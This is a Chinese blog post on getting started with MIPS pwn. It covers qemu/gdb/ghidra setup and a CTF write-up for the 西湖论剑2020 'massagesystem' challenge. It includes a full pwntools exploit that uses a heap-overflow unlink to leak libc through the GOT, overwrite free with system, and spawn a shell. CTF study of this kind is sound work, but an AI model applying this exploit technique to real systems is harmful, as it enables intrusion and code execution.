mips架构 pwn入门之路

学习mips架构下pwn题目的调试

Posted by X1ng on November 2, 2020

环境搭建

网上大师傅们都讲的很详细了

我是看着这个师傅的博客装的环境,之前ida插件mipsrop没有安装成功,又被自己蠢到了,插件的py文件要放在包目录中的MacOS下的plugins文件夹中,而不是打开包目录中的Plugins文件夹

安装ghidra

官网下载(需要java环境)

直接用命令行打开ghidraRun文件即可打开

使用详解

例题复现

西湖论剑2020线上赛 massagesystem

题目提供文件

./run.sh可以直接运行

例行检查

32位的mips小端序程序,保护全关

调试

可以一个shell直接打开

qemu-mipsel-static -g 1234 -L ./ ./ma

或者与pwntools联动

from pwn import*
import sys

context.binary = "ma"
context.arch='mips'
context.log_level = "debug"

if sys.argv[1] == "r":
  p = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
  p = process(["qemu-mipsel-static", "-L", "./", "./ma"])
else:
  p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./ma"])

另一个shell

gdb-multiarch ./test 
target remote 127.0.0.1:1234

用ghidra打开

漏洞在modify函数里

可以看到在编辑的时候溢出了8个字节,正好可以控制下一个chunk的prev_size和size,可以用unlink将一个chunk改为储存堆地址的note_list的前面,之后再泄露got表中的libc地址、修改got表,即可getshell

由于不能使用heap、bin等指令查看堆分配情况,可以在分配堆的函数后下一个断点,查看返回的堆地址

exp:

from pwn import*
import sys

context.binary = "ma"
context.arch='mips'
context.log_level = "debug"

if sys.argv[1] == "r":
    p = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
    p = process(["qemu-mipsel-static", "-L", "./", "./ma"])
else:
    p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./ma"])

li = 0x0411830
free_got = 0x4117B4


ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()

def add(sz,con):
	ru('>>')
	sl('1')
	ru('length:')
	sl(str(sz))
	ru('info:')
	sl(con)

def delete(idx):
	ru('>>')
	sl('2')
	ru('user:')
	sl(str(idx))

def show(idx):
	ru('>>')
	sl('4')
	ru('show:')
	sl(str(idx))

def edit(idx,con):
	ru('>>')
	sl('3')
	ru('edit:')
	sl(str(idx))
	ru('info:')
	sl(con)

add(0x80,'aaa')
add(0x80,'bbb')
add(0x80,'ccc')
add(0x20,'/bin/sh')
edit(0,p32(0)+p32(0x81)+p32(li-12)+p32(li-8)+'a'*0x70+p32(0x80)+p32(0x88))
delete(1)
edit(0,p64(0)+p32(li)+p32(0x80)+p32(free_got)+p32(0x8))

show(1)
p.recvuntil('info: ')
libc_base = u32(p.recv(4)) - 0x56B68
system = libc_base + 0x5F8F0

edit(1,p32(system))
delete(3)


ia()